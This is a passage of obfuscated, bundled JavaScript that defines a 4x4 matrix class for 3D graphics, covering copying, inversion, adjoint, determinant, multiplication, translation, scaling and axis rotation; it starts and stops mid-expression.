_0x2389e7[0x7] = (_0x4594a6 * _0x5b9ec3 - _0x5dfe9a * _0x3f832f - _0x23686e * _0x4dd8ff) * _0x345852, _0x2389e7[0x8] = (_0x5dfe9a * _0x4e1a76 - _0x331d9 * _0x5b9ec3 + _0x23686e * _0x5add84) * _0x345852, this) : null; } }); _0xe9d924['exports'] = _0x453b28; }, 0x93eb: (_0x58c0b6, _0x513da6, _0x58080e) => { var _0x44f1e6 = _0x58080e(0x145db), _0x10bb2b = _0x58080e(0x64ec), _0x48b838 = 0.000001, _0x299eba = new _0x44f1e6({ 'initialize': function (_0x13c22e) { this['val'] = new Float32Array(0x10), _0x13c22e ? this['copy'](_0x13c22e) : this['identity'](); }, 'clone': function () { return new _0x299eba(this); }, 'set': function (_0x412ca4) { return this['copy'](_0x412ca4); }, 'setValues': function (_0x1e8d4c, _0x3c5365, _0x3051fd, _0x5ce759, _0x31943b, _0x1ecbdc, _0x25c7ec, _0x54ea0a, _0x3b681c, _0x49d78a, _0x335fc7, _0x466ce9, _0x4127e6, _0x2d2243, _0x47439a, _0x8e6a2c) { var _0x548030 = this['val']; return _0x548030[0x0] = _0x1e8d4c, _0x548030[0x1] = _0x3c5365, _0x548030[0x2] = _0x3051fd, _0x548030[0x3] = _0x5ce759, _0x548030[0x4] = _0x31943b, _0x548030[0x5] = _0x1ecbdc, _0x548030[0x6] = _0x25c7ec, _0x548030[0x7] = _0x54ea0a, _0x548030[0x8] = _0x3b681c, _0x548030[0x9] = _0x49d78a, _0x548030[0xa] = _0x335fc7, _0x548030[0xb] = _0x466ce9, _0x548030[0xc] = _0x4127e6, _0x548030[0xd] = _0x2d2243, _0x548030[0xe] = _0x47439a, _0x548030[0xf] = _0x8e6a2c, this; }, 'copy': function (_0x2949f1) { var _0x595118 = _0x2949f1['val']; return this['setValues'](_0x595118[0x0], _0x595118[0x1], _0x595118[0x2], _0x595118[0x3], _0x595118[0x4], _0x595118[0x5], _0x595118[0x6], _0x595118[0x7], _0x595118[0x8], _0x595118[0x9], _0x595118[0xa], _0x595118[0xb], _0x595118[0xc], _0x595118[0xd], _0x595118[0xe], _0x595118[0xf]); }, 'fromArray': function (_0x53fb4d) { return this['setValues'](_0x53fb4d[0x0], _0x53fb4d[0x1], _0x53fb4d[0x2], _0x53fb4d[0x3], _0x53fb4d[0x4], _0x53fb4d[0x5], _0x53fb4d[0x6], _0x53fb4d[0x7], _0x53fb4d[0x8], _0x53fb4d[0x9], _0x53fb4d[0xa], _0x53fb4d[0xb], _0x53fb4d[0xc], _0x53fb4d[0xd], _0x53fb4d[0xe], _0x53fb4d[0xf]); }, 'zero': function () { return this['setValues'](0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0); }, 'transform': function (_0x7fecb2, _0x1291dd, _0x218f39) { var _0x351a14 = _0x171c6c['fromQuat'](_0x218f39)['val'], _0x259e37 = _0x1291dd['x'], _0x166be4 = _0x1291dd['y'], _0x40fd59 = _0x1291dd['z']; return this['setValues'](_0x351a14[0x0] * _0x259e37, _0x351a14[0x1] * _0x259e37, _0x351a14[0x2] * _0x259e37, 0x0, _0x351a14[0x4] * _0x166be4, _0x351a14[0x5] * _0x166be4, _0x351a14[0x6] * _0x166be4, 0x0, _0x351a14[0x8] * _0x40fd59, _0x351a14[0x9] * _0x40fd59, _0x351a14[0xa] * _0x40fd59, 0x0, _0x7fecb2['x'], _0x7fecb2['y'], _0x7fecb2['z'], 0x1); }, 'xyz': function (_0x528b36, _0x3b4d28, _0x234fc6) { this['identity'](); var _0x59f7e2 = this['val']; return _0x59f7e2[0xc] = _0x528b36, _0x59f7e2[0xd] = _0x3b4d28, _0x59f7e2[0xe] = _0x234fc6, this; }, 'scaling': function (_0x1f3003, _0x45beb5, _0x37953e) { this['zero'](); var _0x28ac42 = this['val']; return _0x28ac42[0x0] = _0x1f3003, _0x28ac42[0x5] = _0x45beb5, _0x28ac42[0xa] = _0x37953e, _0x28ac42[0xf] = 0x1, this; }, 'identity': function () { return this['setValues'](0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1); }, 'transpose': function () { var _0x4da111 = this['val'], _0x392ca6 = _0x4da111[0x1], _0x57b2a7 = _0x4da111[0x2], _0x3d3584 = _0x4da111[0x3], _0x1ef094 = _0x4da111[0x6], _0x5e1b10 = _0x4da111[0x7], _0x44a57e = _0x4da111[0xb]; return _0x4da111[0x1] = _0x4da111[0x4], _0x4da111[0x2] = _0x4da111[0x8], _0x4da111[0x3] = _0x4da111[0xc], _0x4da111[0x4] = _0x392ca6, _0x4da111[0x6] = _0x4da111[0x9], _0x4da111[0x7] = _0x4da111[0xd], _0x4da111[0x8] = _0x57b2a7, _0x4da111[0x9] = _0x1ef094, _0x4da111[0xb] = _0x4da111[0xe], _0x4da111[0xc] = _0x3d3584, _0x4da111[0xd] = _0x5e1b10, _0x4da111[0xe] = _0x44a57e, this; }, 'getInverse': function (_0x4233d7) { return this['copy'](_0x4233d7), this['invert'](); }, 'invert': function () { var _0x57704d = this['val'], _0x132091 = _0x57704d[0x0], _0x146be2 = _0x57704d[0x1], _0x4e13a3 = _0x57704d[0x2], _0x576789 = _0x57704d[0x3], _0xf2f865 = _0x57704d[0x4], _0x518f08 = _0x57704d[0x5], _0x5337fd = _0x57704d[0x6], _0x2730d8 = _0x57704d[0x7], _0x486280 = _0x57704d[0x8], _0x2259cb = _0x57704d[0x9], _0x21fbc5 = _0x57704d[0xa], _0xb6d3c0 = _0x57704d[0xb], _0x2a9193 = _0x57704d[0xc], _0x4d428a = _0x57704d[0xd], _0x488b57 = _0x57704d[0xe], _0x317076 = _0x57704d[0xf], _0x20f001 = _0x132091 * _0x518f08 - _0x146be2 * _0xf2f865, _0x312c1 = _0x132091 * _0x5337fd - _0x4e13a3 * _0xf2f865, _0x26df44 = _0x132091 * _0x2730d8 - _0x576789 * _0xf2f865, _0x2e2e44 = _0x146be2 * _0x5337fd - _0x4e13a3 * _0x518f08, _0x51a41d = _0x146be2 * _0x2730d8 - _0x576789 * _0x518f08, _0x17d054 = _0x4e13a3 * _0x2730d8 - _0x576789 * _0x5337fd, _0x1b6421 = _0x486280 * _0x4d428a - _0x2259cb * _0x2a9193, _0x14f837 = _0x486280 * _0x488b57 - _0x21fbc5 * _0x2a9193, _0x398c7f = _0x486280 * _0x317076 - _0xb6d3c0 * _0x2a9193, _0xc7592b = _0x2259cb * _0x488b57 - _0x21fbc5 * _0x4d428a, _0x5b5276 = _0x2259cb * _0x317076 - _0xb6d3c0 * _0x4d428a, _0x206364 = _0x21fbc5 * _0x317076 - _0xb6d3c0 * _0x488b57, _0x590e00 = _0x20f001 * _0x206364 - _0x312c1 * _0x5b5276 + _0x26df44 * _0xc7592b + _0x2e2e44 * _0x398c7f - _0x51a41d * _0x14f837 + _0x17d054 * _0x1b6421; return _0x590e00 ? (_0x590e00 = 0x1 / _0x590e00, this['setValues']((_0x518f08 * _0x206364 - _0x5337fd * _0x5b5276 + _0x2730d8 * _0xc7592b) * _0x590e00, (_0x4e13a3 * _0x5b5276 - _0x146be2 * _0x206364 - _0x576789 * _0xc7592b) * _0x590e00, (_0x4d428a * _0x17d054 - _0x488b57 * _0x51a41d + _0x317076 * _0x2e2e44) * _0x590e00, (_0x21fbc5 * _0x51a41d - _0x2259cb * _0x17d054 - _0xb6d3c0 * _0x2e2e44) * _0x590e00, (_0x5337fd * _0x398c7f - _0xf2f865 * _0x206364 - _0x2730d8 * _0x14f837) * _0x590e00, (_0x132091 * _0x206364 - _0x4e13a3 * _0x398c7f + _0x576789 * _0x14f837) * _0x590e00, (_0x488b57 * _0x26df44 - _0x2a9193 * _0x17d054 - _0x317076 * _0x312c1) * _0x590e00, (_0x486280 * _0x17d054 - _0x21fbc5 * _0x26df44 + _0xb6d3c0 * _0x312c1) * _0x590e00, (_0xf2f865 * _0x5b5276 - _0x518f08 * _0x398c7f + _0x2730d8 * _0x1b6421) * _0x590e00, (_0x146be2 * _0x398c7f - _0x132091 * _0x5b5276 - _0x576789 * _0x1b6421) * _0x590e00, (_0x2a9193 * _0x51a41d - _0x4d428a * _0x26df44 + _0x317076 * _0x20f001) * _0x590e00, (_0x2259cb * _0x26df44 - _0x486280 * _0x51a41d - _0xb6d3c0 * _0x20f001) * _0x590e00, (_0x518f08 * _0x14f837 - _0xf2f865 * _0xc7592b - _0x5337fd * _0x1b6421) * _0x590e00, (_0x132091 * _0xc7592b - _0x146be2 * _0x14f837 + _0x4e13a3 * _0x1b6421) * _0x590e00, (_0x4d428a * _0x312c1 - _0x2a9193 * _0x2e2e44 - _0x488b57 * _0x20f001) * _0x590e00, (_0x486280 * _0x2e2e44 - _0x2259cb * _0x312c1 + _0x21fbc5 * _0x20f001) * _0x590e00)) : this; }, 'adjoint': function () { var _0x321e73 = this['val'], _0x2a6e70 = _0x321e73[0x0], _0x305cd6 = _0x321e73[0x1], _0x161b69 = _0x321e73[0x2], _0x5ba84a = _0x321e73[0x3], _0x1fbb67 = _0x321e73[0x4], _0x45cdcc = _0x321e73[0x5], _0x46d632 = _0x321e73[0x6], _0x41e361 = _0x321e73[0x7], _0x5317af = _0x321e73[0x8], _0x2fb478 = _0x321e73[0x9], _0x436bd1 = _0x321e73[0xa], _0x2bb43d = _0x321e73[0xb], _0x58b10b = _0x321e73[0xc], _0x90858c = _0x321e73[0xd], _0x3afca9 = _0x321e73[0xe], _0x511b60 = _0x321e73[0xf]; return this['setValues'](_0x45cdcc * (_0x436bd1 * _0x511b60 - _0x2bb43d * _0x3afca9) - _0x2fb478 * (_0x46d632 * _0x511b60 - _0x41e361 * _0x3afca9) + _0x90858c * (_0x46d632 * _0x2bb43d - _0x41e361 * _0x436bd1), -(_0x305cd6 * (_0x436bd1 * _0x511b60 - _0x2bb43d * _0x3afca9) - _0x2fb478 * (_0x161b69 * _0x511b60 - _0x5ba84a * _0x3afca9) + _0x90858c * (_0x161b69 * _0x2bb43d - _0x5ba84a * _0x436bd1)), _0x305cd6 * (_0x46d632 * _0x511b60 - _0x41e361 * _0x3afca9) - _0x45cdcc * (_0x161b69 * _0x511b60 - _0x5ba84a * _0x3afca9) + _0x90858c * (_0x161b69 * _0x41e361 - _0x5ba84a * _0x46d632), -(_0x305cd6 * (_0x46d632 * _0x2bb43d - _0x41e361 * _0x436bd1) - _0x45cdcc * (_0x161b69 * _0x2bb43d - _0x5ba84a * _0x436bd1) + _0x2fb478 * (_0x161b69 * _0x41e361 - _0x5ba84a * _0x46d632)), -(_0x1fbb67 * (_0x436bd1 * _0x511b60 - _0x2bb43d * _0x3afca9) - _0x5317af * (_0x46d632 * _0x511b60 - _0x41e361 * _0x3afca9) + _0x58b10b * (_0x46d632 * _0x2bb43d - _0x41e361 * _0x436bd1)), _0x2a6e70 * (_0x436bd1 * _0x511b60 - _0x2bb43d * _0x3afca9) - _0x5317af * (_0x161b69 * _0x511b60 - _0x5ba84a * _0x3afca9) + _0x58b10b * (_0x161b69 * _0x2bb43d - _0x5ba84a * _0x436bd1), -(_0x2a6e70 * (_0x46d632 * _0x511b60 - _0x41e361 * _0x3afca9) - _0x1fbb67 * (_0x161b69 * _0x511b60 - _0x5ba84a * _0x3afca9) + _0x58b10b * (_0x161b69 * _0x41e361 - _0x5ba84a * _0x46d632)), _0x2a6e70 * (_0x46d632 * _0x2bb43d - _0x41e361 * _0x436bd1) - _0x1fbb67 * (_0x161b69 * _0x2bb43d - _0x5ba84a * _0x436bd1) + _0x5317af * (_0x161b69 * _0x41e361 - _0x5ba84a * _0x46d632), _0x1fbb67 * (_0x2fb478 * _0x511b60 - _0x2bb43d * _0x90858c) - _0x5317af * (_0x45cdcc * _0x511b60 - _0x41e361 * _0x90858c) + _0x58b10b * (_0x45cdcc * _0x2bb43d - _0x41e361 * _0x2fb478), -(_0x2a6e70 * (_0x2fb478 * _0x511b60 - _0x2bb43d * _0x90858c) - _0x5317af * (_0x305cd6 * _0x511b60 - _0x5ba84a * _0x90858c) + _0x58b10b * (_0x305cd6 * _0x2bb43d - _0x5ba84a * _0x2fb478)), _0x2a6e70 * (_0x45cdcc * _0x511b60 - _0x41e361 * _0x90858c) - _0x1fbb67 * (_0x305cd6 * _0x511b60 - _0x5ba84a * _0x90858c) + _0x58b10b * (_0x305cd6 * _0x41e361 - _0x5ba84a * _0x45cdcc), -(_0x2a6e70 * (_0x45cdcc * _0x2bb43d - _0x41e361 * _0x2fb478) - _0x1fbb67 * (_0x305cd6 * _0x2bb43d - _0x5ba84a * _0x2fb478) + _0x5317af * (_0x305cd6 * _0x41e361 - _0x5ba84a * _0x45cdcc)), -(_0x1fbb67 * (_0x2fb478 * _0x3afca9 - _0x436bd1 * _0x90858c) - _0x5317af * (_0x45cdcc * _0x3afca9 - _0x46d632 * _0x90858c) + _0x58b10b * (_0x45cdcc * _0x436bd1 - _0x46d632 * _0x2fb478)), _0x2a6e70 * (_0x2fb478 * _0x3afca9 - _0x436bd1 * _0x90858c) - _0x5317af * (_0x305cd6 * _0x3afca9 - _0x161b69 * _0x90858c) + _0x58b10b * (_0x305cd6 * _0x436bd1 - _0x161b69 * _0x2fb478), -(_0x2a6e70 * (_0x45cdcc * _0x3afca9 - _0x46d632 * _0x90858c) - _0x1fbb67 * (_0x305cd6 * _0x3afca9 - _0x161b69 * _0x90858c) + _0x58b10b * (_0x305cd6 * _0x46d632 - _0x161b69 * _0x45cdcc)), _0x2a6e70 * (_0x45cdcc * _0x436bd1 - _0x46d632 * _0x2fb478) - _0x1fbb67 * (_0x305cd6 * _0x436bd1 - _0x161b69 * _0x2fb478) + _0x5317af * (_0x305cd6 * _0x46d632 - _0x161b69 * _0x45cdcc)); }, 'determinant': function () { var _0xe57c85 = this['val'], _0x338c6e = _0xe57c85[0x0], _0x271097 = _0xe57c85[0x1], _0x367e4a = _0xe57c85[0x2], _0x272f66 = _0xe57c85[0x3], _0x1fda13 = _0xe57c85[0x4], _0x3b0145 = _0xe57c85[0x5], _0x5d2c7b = _0xe57c85[0x6], _0x2be952 = _0xe57c85[0x7], _0x1a3da4 = _0xe57c85[0x8], _0x11eb53 = _0xe57c85[0x9], _0x38c70 = _0xe57c85[0xa], _0x3653bc = _0xe57c85[0xb], _0x3cc96f = _0xe57c85[0xc], _0xcc0815 = _0xe57c85[0xd], _0x3d8181 = _0xe57c85[0xe], _0x21b9f4 = _0xe57c85[0xf]; return (_0x338c6e * _0x3b0145 - _0x271097 * _0x1fda13) * (_0x38c70 * _0x21b9f4 - _0x3653bc * _0x3d8181) - (_0x338c6e * _0x5d2c7b - _0x367e4a * _0x1fda13) * (_0x11eb53 * _0x21b9f4 - _0x3653bc * _0xcc0815) + (_0x338c6e * _0x2be952 - _0x272f66 * _0x1fda13) * (_0x11eb53 * _0x3d8181 - _0x38c70 * _0xcc0815) + (_0x271097 * _0x5d2c7b - _0x367e4a * _0x3b0145) * (_0x1a3da4 * _0x21b9f4 - _0x3653bc * _0x3cc96f) - (_0x271097 * _0x2be952 - _0x272f66 * _0x3b0145) * (_0x1a3da4 * _0x3d8181 - _0x38c70 * _0x3cc96f) + (_0x367e4a * _0x2be952 - _0x272f66 * _0x5d2c7b) * (_0x1a3da4 * _0xcc0815 - _0x11eb53 * _0x3cc96f); }, 'multiply': function (_0x362383) { var _0x5def3f = this['val'], _0x4b6f28 = _0x5def3f[0x0], _0x50ff28 = _0x5def3f[0x1], _0x8b427 = _0x5def3f[0x2], _0x2b96cb = _0x5def3f[0x3], _0x29c132 = _0x5def3f[0x4], _0x574afa = _0x5def3f[0x5], _0xf71bc3 = _0x5def3f[0x6], _0x246898 = _0x5def3f[0x7], _0x496517 = _0x5def3f[0x8], _0x44c61d = _0x5def3f[0x9], _0x190382 = _0x5def3f[0xa], _0x917a83 = _0x5def3f[0xb], _0x3bbd38 = _0x5def3f[0xc], _0xefbfc4 = _0x5def3f[0xd], _0x71dd8f = _0x5def3f[0xe], _0x23987b = _0x5def3f[0xf], _0x31fa91 = _0x362383['val'], _0x276297 = _0x31fa91[0x0], _0x369a2a = _0x31fa91[0x1], _0x9fdba3 = _0x31fa91[0x2], _0x210e9b = _0x31fa91[0x3]; return _0x5def3f[0x0] = _0x276297 * _0x4b6f28 + _0x369a2a * _0x29c132 + _0x9fdba3 * _0x496517 + _0x210e9b * _0x3bbd38, _0x5def3f[0x1] = _0x276297 * _0x50ff28 + _0x369a2a * _0x574afa + _0x9fdba3 * _0x44c61d + _0x210e9b * _0xefbfc4, _0x5def3f[0x2] = _0x276297 * _0x8b427 + _0x369a2a * _0xf71bc3 + _0x9fdba3 * _0x190382 + _0x210e9b * _0x71dd8f, _0x5def3f[0x3] = _0x276297 * _0x2b96cb + _0x369a2a * _0x246898 + _0x9fdba3 * _0x917a83 + _0x210e9b * _0x23987b, _0x276297 = _0x31fa91[0x4], _0x369a2a = _0x31fa91[0x5], _0x9fdba3 = _0x31fa91[0x6], _0x210e9b = _0x31fa91[0x7], _0x5def3f[0x4] = _0x276297 * _0x4b6f28 + _0x369a2a * _0x29c132 + _0x9fdba3 * _0x496517 + _0x210e9b * _0x3bbd38, _0x5def3f[0x5] = _0x276297 * _0x50ff28 + _0x369a2a * _0x574afa + _0x9fdba3 * _0x44c61d + _0x210e9b * _0xefbfc4, _0x5def3f[0x6] = _0x276297 * _0x8b427 + _0x369a2a * _0xf71bc3 + _0x9fdba3 * _0x190382 + _0x210e9b * _0x71dd8f, _0x5def3f[0x7] = _0x276297 * _0x2b96cb + _0x369a2a * _0x246898 + _0x9fdba3 * _0x917a83 + _0x210e9b * _0x23987b, _0x276297 = _0x31fa91[0x8], _0x369a2a = _0x31fa91[0x9], _0x9fdba3 = _0x31fa91[0xa], _0x210e9b = _0x31fa91[0xb], _0x5def3f[0x8] = _0x276297 * _0x4b6f28 + _0x369a2a * _0x29c132 + _0x9fdba3 * _0x496517 + _0x210e9b * _0x3bbd38, _0x5def3f[0x9] = _0x276297 * _0x50ff28 + _0x369a2a * _0x574afa + _0x9fdba3 * _0x44c61d + _0x210e9b * _0xefbfc4, _0x5def3f[0xa] = _0x276297 * _0x8b427 + _0x369a2a * _0xf71bc3 + _0x9fdba3 * _0x190382 + _0x210e9b * _0x71dd8f, _0x5def3f[0xb] = _0x276297 * _0x2b96cb + _0x369a2a * _0x246898 + _0x9fdba3 * _0x917a83 + _0x210e9b * _0x23987b, _0x276297 = _0x31fa91[0xc], _0x369a2a = _0x31fa91[0xd], _0x9fdba3 = _0x31fa91[0xe], _0x210e9b = _0x31fa91[0xf], _0x5def3f[0xc] = _0x276297 * _0x4b6f28 + _0x369a2a * _0x29c132 + _0x9fdba3 * _0x496517 + _0x210e9b * _0x3bbd38, _0x5def3f[0xd] = _0x276297 * _0x50ff28 + _0x369a2a * _0x574afa + _0x9fdba3 * _0x44c61d + _0x210e9b * _0xefbfc4, _0x5def3f[0xe] = _0x276297 * _0x8b427 + _0x369a2a * _0xf71bc3 + _0x9fdba3 * _0x190382 + _0x210e9b * _0x71dd8f, _0x5def3f[0xf] = _0x276297 * _0x2b96cb + _0x369a2a * _0x246898 + _0x9fdba3 * _0x917a83 + _0x210e9b * _0x23987b, this; }, 'multiplyLocal': function (_0x1fbdb6) { var _0x5f0b65 = this['val'], _0x1bda23 = _0x1fbdb6['val']; return this['setValues'](_0x5f0b65[0x0] * _0x1bda23[0x0] + _0x5f0b65[0x1] * _0x1bda23[0x4] + _0x5f0b65[0x2] * _0x1bda23[0x8] + _0x5f0b65[0x3] * _0x1bda23[0xc], _0x5f0b65[0x0] * _0x1bda23[0x1] + _0x5f0b65[0x1] * _0x1bda23[0x5] + _0x5f0b65[0x2] * _0x1bda23[0x9] + _0x5f0b65[0x3] * _0x1bda23[0xd], _0x5f0b65[0x0] * _0x1bda23[0x2] + _0x5f0b65[0x1] * _0x1bda23[0x6] + _0x5f0b65[0x2] * _0x1bda23[0xa] + _0x5f0b65[0x3] * _0x1bda23[0xe], _0x5f0b65[0x0] * _0x1bda23[0x3] + _0x5f0b65[0x1] * _0x1bda23[0x7] + _0x5f0b65[0x2] * _0x1bda23[0xb] + _0x5f0b65[0x3] * _0x1bda23[0xf], _0x5f0b65[0x4] * _0x1bda23[0x0] + _0x5f0b65[0x5] * _0x1bda23[0x4] + _0x5f0b65[0x6] * _0x1bda23[0x8] + _0x5f0b65[0x7] * _0x1bda23[0xc], _0x5f0b65[0x4] * _0x1bda23[0x1] + _0x5f0b65[0x5] * _0x1bda23[0x5] + _0x5f0b65[0x6] * _0x1bda23[0x9] + _0x5f0b65[0x7] * _0x1bda23[0xd], _0x5f0b65[0x4] * _0x1bda23[0x2] + _0x5f0b65[0x5] * _0x1bda23[0x6] + _0x5f0b65[0x6] * _0x1bda23[0xa] + _0x5f0b65[0x7] * _0x1bda23[0xe], _0x5f0b65[0x4] * _0x1bda23[0x3] + _0x5f0b65[0x5] * _0x1bda23[0x7] + _0x5f0b65[0x6] * _0x1bda23[0xb] + _0x5f0b65[0x7] * _0x1bda23[0xf], _0x5f0b65[0x8] * _0x1bda23[0x0] + _0x5f0b65[0x9] * _0x1bda23[0x4] + _0x5f0b65[0xa] * _0x1bda23[0x8] + _0x5f0b65[0xb] * _0x1bda23[0xc], _0x5f0b65[0x8] * _0x1bda23[0x1] + _0x5f0b65[0x9] * _0x1bda23[0x5] + _0x5f0b65[0xa] * _0x1bda23[0x9] + _0x5f0b65[0xb] * _0x1bda23[0xd], _0x5f0b65[0x8] * _0x1bda23[0x2] + _0x5f0b65[0x9] * _0x1bda23[0x6] + _0x5f0b65[0xa] * _0x1bda23[0xa] + _0x5f0b65[0xb] * _0x1bda23[0xe], _0x5f0b65[0x8] * _0x1bda23[0x3] + _0x5f0b65[0x9] * _0x1bda23[0x7] + _0x5f0b65[0xa] * _0x1bda23[0xb] + _0x5f0b65[0xb] * _0x1bda23[0xf], _0x5f0b65[0xc] * _0x1bda23[0x0] + _0x5f0b65[0xd] * _0x1bda23[0x4] + _0x5f0b65[0xe] * _0x1bda23[0x8] + _0x5f0b65[0xf] * _0x1bda23[0xc], _0x5f0b65[0xc] * _0x1bda23[0x1] + _0x5f0b65[0xd] * _0x1bda23[0x5] + _0x5f0b65[0xe] * _0x1bda23[0x9] + _0x5f0b65[0xf] * _0x1bda23[0xd], _0x5f0b65[0xc] * _0x1bda23[0x2] + _0x5f0b65[0xd] * _0x1bda23[0x6] + _0x5f0b65[0xe] * _0x1bda23[0xa] + _0x5f0b65[0xf] * _0x1bda23[0xe], _0x5f0b65[0xc] * _0x1bda23[0x3] + _0x5f0b65[0xd] * _0x1bda23[0x7] + _0x5f0b65[0xe] * _0x1bda23[0xb] + _0x5f0b65[0xf] * _0x1bda23[0xf]); }, 'premultiply': function (_0x585b17) { return this['multiplyMatrices'](_0x585b17, this); }, 'multiplyMatrices': function (_0x544776, _0x34be9f) { var _0x18dfb9 = _0x544776['val'], _0x599ac4 = _0x34be9f['val'], _0x403065 = _0x18dfb9[0x0], _0x2be926 = _0x18dfb9[0x4], _0x46b6e7 = _0x18dfb9[0x8], _0x16f9ac = _0x18dfb9[0xc], _0x14851e = _0x18dfb9[0x1], _0x1516fd = _0x18dfb9[0x5], _0x5d3efb = _0x18dfb9[0x9], _0x2698d7 = _0x18dfb9[0xd], _0x41aa70 = _0x18dfb9[0x2], _0x1a6835 = _0x18dfb9[0x6], _0x355743 = _0x18dfb9[0xa], _0x36cb9f = _0x18dfb9[0xe], _0x6b15aa = _0x18dfb9[0x3], _0x1e0949 = _0x18dfb9[0x7], _0x211a28 = _0x18dfb9[0xb], _0x2cf0bf = _0x18dfb9[0xf], _0x16e93a = _0x599ac4[0x0], _0x1042de = _0x599ac4[0x4], _0x3ca066 = _0x599ac4[0x8], _0x372ca4 = _0x599ac4[0xc], _0x11bc91 = _0x599ac4[0x1], _0x5ce780 = _0x599ac4[0x5], _0x1358e6 = _0x599ac4[0x9], _0x24c024 = _0x599ac4[0xd], _0x3c5f49 = _0x599ac4[0x2], _0x1f5081 = _0x599ac4[0x6], _0x4ff4bc = _0x599ac4[0xa], _0x1d4182 = _0x599ac4[0xe], _0x83c84a = _0x599ac4[0x3], _0x39f753 = _0x599ac4[0x7], _0x14ebb9 = _0x599ac4[0xb], _0x1ef149 = _0x599ac4[0xf]; return this['setValues'](_0x403065 * _0x16e93a + _0x2be926 * _0x11bc91 + _0x46b6e7 * _0x3c5f49 + _0x16f9ac * _0x83c84a, _0x14851e * _0x16e93a + _0x1516fd * _0x11bc91 + _0x5d3efb * _0x3c5f49 + _0x2698d7 * _0x83c84a, _0x41aa70 * _0x16e93a + _0x1a6835 * _0x11bc91 + _0x355743 * _0x3c5f49 + _0x36cb9f * _0x83c84a, _0x6b15aa * _0x16e93a + _0x1e0949 * _0x11bc91 + _0x211a28 * _0x3c5f49 + _0x2cf0bf * _0x83c84a, _0x403065 * _0x1042de + _0x2be926 * _0x5ce780 + _0x46b6e7 * _0x1f5081 + _0x16f9ac * _0x39f753, _0x14851e * _0x1042de + _0x1516fd * _0x5ce780 + _0x5d3efb * _0x1f5081 + _0x2698d7 * _0x39f753, _0x41aa70 * _0x1042de + _0x1a6835 * _0x5ce780 + _0x355743 * _0x1f5081 + _0x36cb9f * _0x39f753, _0x6b15aa * _0x1042de + _0x1e0949 * _0x5ce780 + _0x211a28 * _0x1f5081 + _0x2cf0bf * _0x39f753, _0x403065 * _0x3ca066 + _0x2be926 * _0x1358e6 + _0x46b6e7 * _0x4ff4bc + _0x16f9ac * _0x14ebb9, _0x14851e * _0x3ca066 + _0x1516fd * _0x1358e6 + _0x5d3efb * _0x4ff4bc + _0x2698d7 * _0x14ebb9, _0x41aa70 * _0x3ca066 + _0x1a6835 * _0x1358e6 + _0x355743 * _0x4ff4bc + _0x36cb9f * _0x14ebb9, _0x6b15aa * _0x3ca066 + _0x1e0949 * _0x1358e6 + _0x211a28 * _0x4ff4bc + _0x2cf0bf * _0x14ebb9, _0x403065 * _0x372ca4 + _0x2be926 * _0x24c024 + _0x46b6e7 * _0x1d4182 + _0x16f9ac * _0x1ef149, _0x14851e * _0x372ca4 + _0x1516fd * _0x24c024 + _0x5d3efb * _0x1d4182 + _0x2698d7 * _0x1ef149, _0x41aa70 * _0x372ca4 + _0x1a6835 * _0x24c024 + _0x355743 * _0x1d4182 + _0x36cb9f * _0x1ef149, _0x6b15aa * _0x372ca4 + _0x1e0949 * _0x24c024 + _0x211a28 * _0x1d4182 + _0x2cf0bf * _0x1ef149); }, 'translate': function (_0x592b3e) { return this['translateXYZ'](_0x592b3e['x'], _0x592b3e['y'], _0x592b3e['z']); }, 'translateXYZ': function (_0x240ba3, _0x1d2dc3, _0x1f4c0) { var _0x14f7b8 = this['val']; return _0x14f7b8[0xc] = _0x14f7b8[0x0] * _0x240ba3 + _0x14f7b8[0x4] * _0x1d2dc3 + _0x14f7b8[0x8] * _0x1f4c0 + _0x14f7b8[0xc], _0x14f7b8[0xd] = _0x14f7b8[0x1] * _0x240ba3 + _0x14f7b8[0x5] * _0x1d2dc3 + _0x14f7b8[0x9] * _0x1f4c0 + _0x14f7b8[0xd], _0x14f7b8[0xe] = _0x14f7b8[0x2] * _0x240ba3 + _0x14f7b8[0x6] * _0x1d2dc3 + _0x14f7b8[0xa] * _0x1f4c0 + _0x14f7b8[0xe], _0x14f7b8[0xf] = _0x14f7b8[0x3] * _0x240ba3 + _0x14f7b8[0x7] * _0x1d2dc3 + _0x14f7b8[0xb] * _0x1f4c0 + _0x14f7b8[0xf], this; }, 'scale': function (_0xc3d072) { return this['scaleXYZ'](_0xc3d072['x'], _0xc3d072['y'], _0xc3d072['z']); }, 'scaleXYZ': function (_0x2435eb, _0x442451, _0x5f32ca) { var _0x472e45 = this['val']; return _0x472e45[0x0] = _0x472e45[0x0] * _0x2435eb, _0x472e45[0x1] = _0x472e45[0x1] * _0x2435eb, _0x472e45[0x2] = _0x472e45[0x2] * _0x2435eb, _0x472e45[0x3] = _0x472e45[0x3] * _0x2435eb, _0x472e45[0x4] = _0x472e45[0x4] * _0x442451, _0x472e45[0x5] = _0x472e45[0x5] * _0x442451, _0x472e45[0x6] = _0x472e45[0x6] * _0x442451, _0x472e45[0x7] = _0x472e45[0x7] * _0x442451, _0x472e45[0x8] = _0x472e45[0x8] * _0x5f32ca, _0x472e45[0x9] = _0x472e45[0x9] * _0x5f32ca, _0x472e45[0xa] = _0x472e45[0xa] * _0x5f32ca, _0x472e45[0xb] = _0x472e45[0xb] * _0x5f32ca, this; }, 'makeRotationAxis': function (_0x26706f, _0x5bb4e9) { var _0x289928 = Math['cos'](_0x5bb4e9), _0x34d086 = Math['sin'](_0x5bb4e9), _0x5eb51b = 0x1 - _0x289928, _0x5bceee = _0x26706f['x'], _0x5a131e = _0x26706f['y'], _0x707313 = _0x26706f['z'], _0x95d2d5 = _0x5eb51b * _0x5bceee, _0x11e6fc = _0x5eb51b * _0x5a131e; return this['setValues'](_0x95d2d5 * _0x5bceee + _0x289928, _0x95d2d5 * _0x5a131e - _0x34d086 * _0x707313, _0x95d2d5 * _0x707313 + _0x34d086 * _0x5a131e, 0x0, _0x95d2d5 * _0x5a131e + _0x34d086 * _0x707313, _0x11e6fc * _0x5a131e + _0x289928, _0x11e6fc * _0x707313 - _0x34d086 * _0x5bceee, 0x0, _0x95d2d5 * _0x707313 - _0x34d086 * _0x5a131e, _0x11e6fc * _0x707313 + _0x34d086 * _0x5bceee, _0x5eb51b * _0x707313 * _0x707313 + _0x289928, 0x0, 0x0, 0x0, 0x0, 0x1); }, 'rotate': function (_0x357a45, _0x4b8457) { var _0x5ed2dc = this['val'], 